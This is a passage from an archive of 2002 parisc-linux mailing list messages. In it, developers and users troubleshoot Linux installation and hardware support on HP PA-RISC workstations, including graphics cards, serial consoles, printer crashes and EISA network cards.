	id 16a3sE-0005KR-00; Sun, 10 Feb 2002 23:59:10 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020210184529.Y48612-100000@mail.yashy.com>; from yashy@mail.yashy.com on Sun, Feb 10, 2002 at 06:53:54PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14010

On Sun, Feb 10, 2002 at 06:53:54PM -0500, Yasholomew Yashinski wrote:
>  I recently purchased an HP 9000/785/B1000. I tried to use the
> pasrisc*.iso as I've been using on my 712/*'s, however there appears to be
> issues using 32-bit as default. Setting up a serial console for this
> machine will not be a trivial task, due to its location. Is there anyone

Hmm.. this machine should work in both 32 and 64 bit mode.  I suspect
we don't currently support the graphics card in this machine (I assume
it has the same problems as the C3000... helge?)

> on the list that has such a beast, I could discuss installation with?
>  My next attempt will be to setup an install using rbootd, however it
> appears I will require serial console access.

rbootd is for much older machines (715/Scorpio and earlier).  Everything
since the 712 uses bootp (or dhcp) and tftp.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yasholomew Yashinski <yashy@mail.yashy.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000
Date: Sun, 10 Feb 2002 21:44:41 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <20020210213653.O48612-100000@mail.yashy.com>
References: <20020210235910.O1173@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621055 2865 80.91.229.3 (22 Nov 2014 01:50:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 10 19:44:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.yashy.com (cpu2119.adsl.bellglobal.com [207.236.3.96])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F129482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Feb 2002 19:44:03 -0700 (MST)
Original-Received: from yashy (helo=localhost)
	by mail.yashy.com with local-esmtp (Exim 3.33 #1)
	id 16a6SP-000CiF-00
	for parisc-linux@lists.parisc-linux.org; Sun, 10 Feb 2002 21:44:41 -0500
In-Reply-To: <20020210235910.O1173@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14011

> >  I recently purchased an HP 9000/785/B1000. I tried to use the
> > pasrisc*.iso as I've been using on my 712/*'s, however there appears to be
> > issues using 32-bit as default. Setting up a serial console for this
> > machine will not be a trivial task, due to its location. Is there anyone
>
> Hmm.. this machine should work in both 32 and 64 bit mode.  I suspect
> we don't currently support the graphics card in this machine (I assume
> it has the same problems as the C3000... helge?)

 It appears so. The framebuffer is A4977a Vis EG-PCI.

 If it helps, the errors I receive on the front panel LCD are:
FLT CBF4: SYS BD
bad OS HPMC cksm
FLT CBFC: SYS BD
OS HPMC br err
FLT 500B: SYS BD
bus timeout

> > on the list that has such a beast, I could discuss installation with?
> >  My next attempt will be to setup an install using rbootd, however it
> > appears I will require serial console access.
>
> rbootd is for much older machines (715/Scorpio and earlier).  Everything
> since the 712 uses bootp (or dhcp) and tftp.

 Thanks. It appears I should wait until my framebuffer is supported.

 Cheers,

--
Yashy




From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jbit <james_a_n_lee@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lp0 kablooie
Date: Mon, 11 Feb 2002 02:58:32 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3C673358.2070404@yahoo.com>
References: <Pine.LNX.4.21.0202091555570.7869-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621055 2867 80.91.229.3 (22 Nov 2014 01:50:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:55 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 10 19:48:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp013.mail.yahoo.com (smtp013.mail.yahoo.com [216.136.173.57])
	by dsl2.external.hp.com (Postfix) with SMTP id 3736C482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Feb 2002 19:48:19 -0700 (MST)
Original-Received: from m29-mp1-cvx1a.cam.ntl.com (HELO yahoo.com) (62.253.144.29)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 11 Feb 2002 02:48:16 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.7) Gecko/20011228
X-Accept-Language: en-gb, en-us, en-au, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14012

Greg Ingram wrote:

> Writing data from my C100 to /dev/lp0 makes the kernel go kablooie.  It's
> the kernel from the recent (0.9.3?) iso.  Known problem?  Any more info I
> could supply that would help?  I've appended everything on the console
> from the crash, through the power cycle, to mounting disks again.  


Hrm, not knowing what the exact problem is, i'd say its worth trying the latest cvs kernel
(the debian-hppa-0.9.3 kernel is 2.4.9, IIRC)

Then, if it still gives an error, submit a bug report or somthing ;)

--jbit


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [REQUEST] PS/2 keyboard pinouts?
Date: Sun, 10 Feb 2002 21:21:16 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20020211042116.A015E482A@dsl2.external.hp.com>
References: <200202101948.NAA05497@unixworks.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621055 2870 80.91.229.3 (22 Nov 2014 01:50:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bob Radvanovsky <rsradvan@unixworks.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 10 21:21:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A015E482A; Sun, 10 Feb 2002 21:21:16 -0700 (MST)
In-Reply-To: Message from Bob Radvanovsky <rsradvan@unixworks.net> 
   of "Sun, 10 Feb 2002 13:48:13 CST." <200202101948.NAA05497@unixworks.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14013

Bob Radvanovsky wrote:
> Unfortunately, I don't have 30+ keyboards for all of these workstations. 

Here is the original posting for serial console on 712.

http://lists.parisc-linux.org/pipermail/parisc-linux/1999-December/008117.html

We should probably add this as a "How-To" someplace. Ideas on where?

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253



From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000
Date: Sun, 10 Feb 2002 21:43:31 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20020211044331.71711482A@dsl2.external.hp.com>
References: <20020210184529.Y48612-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621055 2873 80.91.229.3 (22 Nov 2014 01:50:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yasholomew Yashinski <yashy@mail.yashy.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 10 21:43:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 71711482A; Sun, 10 Feb 2002 21:43:31 -0700 (MST)
In-Reply-To: Message from Yasholomew Yashinski <yashy@mail.yashy.com> 
   of "Sun, 10 Feb 2002 18:53:54 EST." <20020210184529.Y48612-100000@mail.yashy.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14014

Yasholomew Yashinski wrote:
> 
>  I recently purchased an HP 9000/785/B1000. I tried to use the
> pasrisc*.iso as I've been using on my 712/*'s, however there appears to be
> issues using 32-bit as default.

32-bit kernel is preferred. B1000 can run both 32 or 64-bit kernels.

> Setting up a serial console for this
> machine will not be a trivial task, due to its location.

Is the machine difficult to access or is a *second* machine
with an available serial port hard to find? No old laptops about?

> Is there anyone
> on the list that has such a beast, I could discuss installation with?

B1000 is basically a slower (CPU), "smaller" (fewer DIMM/PCI slots) C3000.
Several people on list (including myself) have C3000.

>  My next attempt will be to setup an install using rbootd, however it
> appears I will require serial console access.

Yes.  Viz-EG PCI *may* get some support pretty soon. A few people are
playing with it right now.

But don't expect a new ISO anytime soon with Viz-EG PCI support.
Install 0.9.3, apt-get update/dist-upgrade,  and pull a kernel from
ftp.parisc-linux.org/kernels/32. Then you'll ready to grab bits
as soon as it works.


grant



From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000
Date: Mon, 11 Feb 2002 08:16:13 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <200202110816.13226.deller@gmx.de>
References: <20020210213653.O48612-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621056 2875 80.91.229.3 (22 Nov 2014 01:50:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:56 +0000 (UTC)
To: Yasholomew Yashinski <yashy@mail.yashy.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 11 00:19:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 53BCB482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Feb 2002 00:19:10 -0700 (MST)
Original-Received: (qmail 6380 invoked by uid 0); 11 Feb 2002 07:19:07 -0000
Original-Received: from pd9040370.dip.t-dialin.net (HELO P100) (217.4.3.112)
  by mail.gmx.net (mp005-rz3) with SMTP; 11 Feb 2002 07:19:07 -0000
X-Mailer: KMail [version 1.3.9]
In-Reply-To: <20020210213653.O48612-100000@mail.yashy.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14015

On Monday 11 February 2002 03:44, Yasholomew Yashinski wrote:
> > >  I recently purchased an HP 9000/785/B1000. I tried to use the
> > > pasrisc*.iso as I've been using on my 712/*'s, however there appears to
> > > be issues using 32-bit as default. Setting up a serial console for this
> > > machine will not be a trivial task, due to its location. Is there
> > > anyone
> >
> > Hmm.. this machine should work in both 32 and 64 bit mode.  I suspect
> > we don't currently support the graphics card in this machine (I assume
> > it has the same problems as the C3000... helge?)
>
>  It appears so. The framebuffer is A4977a Vis EG-PCI.
>
>  If it helps, the errors I receive on the front panel LCD are:
> FLT CBF4: SYS BD
> bad OS HPMC cksm
> FLT CBFC: SYS BD
> OS HPMC br err
> FLT 500B: SYS BD
> bus timeout

Yes, that's exactly the same error I get w/ c3000 and VisEG PCI.

Helge





From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@tuxfamily.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [REQUEST] PS/2 keyboard pinouts?
Date: Mon, 11 Feb 2002 09:50:38 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <3C6785DE.307@tuxfamily.org>
References: <200202101948.NAA05497@unixworks.net> <20020211042116.A015E482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621056 2878 80.91.229.3 (22 Nov 2014 01:50:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:56 +0000 (UTC)
Cc: Bob Radvanovsky <rsradvan@unixworks.net>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 11 01:48:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from laas.laas.fr (laas.laas.fr [140.93.0.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DAB5482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Feb 2002 01:48:07 -0700 (MST)
Original-Received: from tuxfamily.org (raptor [140.93.21.82])
	by laas.laas.fr (8.12.1/8.12.1) with ESMTP id g1B8luAp003898;
	Mon, 11 Feb 2002 09:47:56 +0100 (CET)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7+) Gecko/20020123
X-Accept-Language: fr
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14016

Hi all,

>>Unfortunately, I don't have 30+ keyboards for all of these workstations. 
>>
>
>Here is the original posting for serial console on 712.
>
>http://lists.parisc-linux.org/pipermail/parisc-linux/1999-December/008117.html
>
>We should probably add this as a "How-To" someplace. Ideas on where?
>
I'll add this into the Console section of my HOWTO!

By the way, at this moment, you can read:


          How can I change the boot console to serial on a 712?

Unfortunately, you can't. Although 712s are configured for in-house HP 
development to use serial console, this configuration isn't supported in 
the field. You have to use a graphics console for 712s but if you really 
want it, you have a tip in the PA/Linux mailing list archive 
<http://lists.parisc-linux.org/pipermail/parisc-linux/1999-December/008117.html>. 
In fact, why will we use this beautiful 712 with serial console when you 
can have X!

( That part is from Debbie, I'll fix it )

Thomas.





From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bent Wagner <psy@tdcadsl.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hp100 freezes machine
Date: Mon, 11 Feb 2002 13:52:56 +0100 (GMT-1)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0202111333350.2647-100000@psy.bronderslev.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621056 2884 80.91.229.3 (22 Nov 2014 01:50:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 11 05:53:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fepB.post.tele.dk (fepB.post.tele.dk [195.41.46.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58556482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Feb 2002 05:53:01 -0700 (MST)
Original-Received: from psy.bronderslev.dk ([80.62.41.165]) by fepB.post.tele.dk
          (InterMail vM.4.01.03.23 201-229-121-123-20010418) with ESMTP
          id <20020211125258.WWI22989.fepB.post.tele.dk@psy.bronderslev.dk>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 11 Feb 2002 13:52:58 +0100
Original-Received: by psy.bronderslev.dk (Postfix, from userid 500)
	id 0970C11B8D; Mon, 11 Feb 2002 13:52:56 +0100 (GMT-1)
Original-Received: from localhost (localhost [127.0.0.1])
	by psy.bronderslev.dk (Postfix) with ESMTP id CFE63EC7A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Feb 2002 13:52:56 +0100 (GMT-1)
X-X-Sender: psy@psy.bronderslev.dk
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14017

Hi there

I have a 9000/725-100 with a EISA netcard.

When i boot the system the card is detected and reported as
a HP J2577 on ETH0. It also tells me that the 10Mbit plug is
used, which is correct.

At the moment the network configuration is turned off when
booting.

When i try to issue a  ifconfig eth0 172.16.154 netmask 255.255.0.0
the machine freezes completely. The keyboard and the power button
and the TOC button does not work.
I have to yank the powercord to kill it.

When i configure the loopback interface there are no problem.
When i configure the builtin ETH1 it reports a tranceiver problem.
I have no tranceiver for this machine.

Kernel is 2.4.17-20


Am i doing something wrong?

Greetings

Bent Wagner





From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bob Apodaca <Bob.Apodaca@com.Honeywell>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA NIC - HWP1850?
Date: Mon, 11 Feb 2002 12:19:20 -0700
Organization: Honeywell Engines, Systems & Services
Lines: 19
Approved: news@gmane.org
Message-ID: <3C681938.7A2D48FB@com.Honeywell>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621057 2890 80.91.229.3 (22 Nov 2014 01:50:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 11 12:19:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tmpnt702.Honeywell.com (tmpsmtp702.honeywell.com [199.64.7.101])
	by dsl2.external.hp.com (Postfix) with SMTP id 3ABB8482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Feb 2002 12:19:31 -0700 (MST)
Original-Received: from 131.127.249.22 by tmpnt702.Honeywell.com (InterScan E-Mail VirusWall NT); Mon, 11 Feb 2002 12:19:21 -0700
Original-Received: from mail.phxlab.honeywell.com ([131.127.80.57]) by tmpcn197.wins.allied.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id 140PVTLN; Mon, 11 Feb 2002 12:19:20 -0700
Original-Received: from com.Honeywell (IDENT:e042542@phxbd001.phxlab.honeywell.com [131.127.80.58])
	by mail.phxlab.honeywell.com (8.11.6/8.11.6) with ESMTP id g1BJJKY27292
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Feb 2002 12:19:20 -0700
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.19-7.0.2 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14018

I do not subscribe to this group, please respond via my e-mail address. 
NOTE: reverse the domain to get a valid e-mail address.

I have an EISA network card I'm trying to get working on a 715-100XC. 
It has a large "Intel" chip with the following information:

KU82596CA-33
L5182661
SZ717 C

The HP part number on the card is 25567-60003.  I've seen this card
referred to as "HWP1850".

If no-one has this card, I *may* be able to arrange a donation if we can
get a driver.

Bob



From - Thu Nov 08 21:21:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Roylance, Stephen D." <SROYLANCE@PARTNERS.ORG>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Getting a D370 off the ground
Date: Mon, 11 Feb 2002 15:14:20 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <FE6B88CC9D2BD311AD120008C7B3AF87081ED289@phsexch3.mgh.harvard.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621057 2893 80.91.229.3 (22 Nov 2014 01:50:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:57 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 11 13:14:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from PHSEXCHICO2.Partners.org (phsexchico2.partners.org [170.223.254.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F4A3482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Feb 2002 13:14:24 -0700 (MST)
Original-Received: by phsexchico2.partners.org with Internet Mail Service (5.5.2650.21)
	id <1BZFPV67>; Mon, 11 Feb 2002 15:14:23 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
